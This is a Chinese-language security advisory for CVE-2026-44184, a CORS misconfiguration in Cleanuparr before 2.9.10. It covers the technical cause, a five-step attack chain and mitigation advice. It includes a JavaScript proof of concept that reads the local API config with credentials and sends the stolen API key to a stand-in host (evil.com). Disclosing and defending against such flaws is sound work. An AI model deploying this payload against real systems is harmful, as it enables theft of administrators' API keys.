CVE-2026-44184 Cleanuparr CORS配置错误致信息泄露

漏洞信息

漏洞编号

CVE-2026-44184

漏洞类型

CORS配置错误

CVSS评分

8.0 高危

攻击向量

邻接 (AV:A)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Cleanuparr

漏洞概述

Cleanuparr是一款自动化清理工具。在其2.9.10之前的版本中，存在严重的CORS配置错误漏洞。由于系统允许任意跨域源携带凭证，且在启用本地地址免认证时仅依赖IP地址进行验证，导致攻击者可诱导管理员访问恶意链接。通过利用此漏洞，攻击者能够跨域读取经过身份验证的API响应，进而窃取管理员的高权限API密钥，造成严重的信息泄露风险。

技术细节

该漏洞的核心在于Cleanuparr错误的CORS配置与弱认证机制的结合。首先，应用程序的全局CORS策略直接反射请求中的Origin头部，并设置了Access-Control-Allow-Credentials，这意味着浏览器允许跨域请求携带Cookie等凭证。其次，当系统开启DisableAuthForLocalAddresses选项时，使用了TrustedNetworkAuthenticationHandler，仅根据客户端的IP地址决定是否通过认证，而不验证具体的令牌。因此，位于受信任网络（如局域网）内的用户一旦访问了攻击者构造的恶意网页，该网页即可通过JavaScript向后台Cleanuparr服务发起跨域请求。由于IP受信任且CORS配置允许，浏览器会将Cookie（或会话信息）带过去，服务器返回包含管理员永久API密钥的敏感数据，恶意网页随即捕获这些数据并发送给攻击者。

攻击链分析

STEP 1

步骤1

攻击者搭建恶意网站，编写包含跨域请求脚本的网页，诱导Cleanuparr管理员或处于受信任IP段的用户点击访问。

STEP 2

步骤2

受害者的浏览器加载恶意网页，JavaScript代码自动向本地运行的Cleanuparr服务（如localhost:3985）发起API请求。

STEP 3

步骤3

Cleanuparr服务接收到请求，由于受害者IP在受信任网络范围内且DisableAuthForLocalAddresses开启，请求通过IP认证。

STEP 4

步骤4

Cleanuparr响应请求，并设置CORS头部允许恶意源的跨域读取。响应中包含管理员的永久API密钥等敏感信息。

STEP 5

步骤5

恶意网页的JavaScript成功读取到响应内容，并将窃取的API密钥发送至攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC Concept: Steal API Key from Cleanuparr via CORS -->
<!-- Attacker hosts this on https://evil.com -->
<script>
// Target the local Cleanuparr instance
const targetUrl = 'http://localhost:3985/api/config';

function exploit() {
    fetch(targetUrl, {
        method: 'GET',
        credentials: 'include' // Important: Include cookies/auth if applicable
    })
    .then(response => response.json())
    .then(data => {
        // Exfiltrate the sensitive data (e.g., API Key)
        console.log('Leaked Data:', data);
        fetch('https://evil.com/log?key=' + encodeURIComponent(JSON.stringify(data)));
    })
    .catch(error => console.error('Error:', error));
}

// Trigger the attack automatically
exploit();
</script>

影响范围

Cleanuparr < 2.9.10

防御指南

临时缓解措施

建议立即升级到修复版本2.9.10。如果无法立即升级，应禁用“DisableAuthForLocalAddresses”选项，强制所有API请求使用强身份验证令牌，从而防止基于IP的信任机制被利用。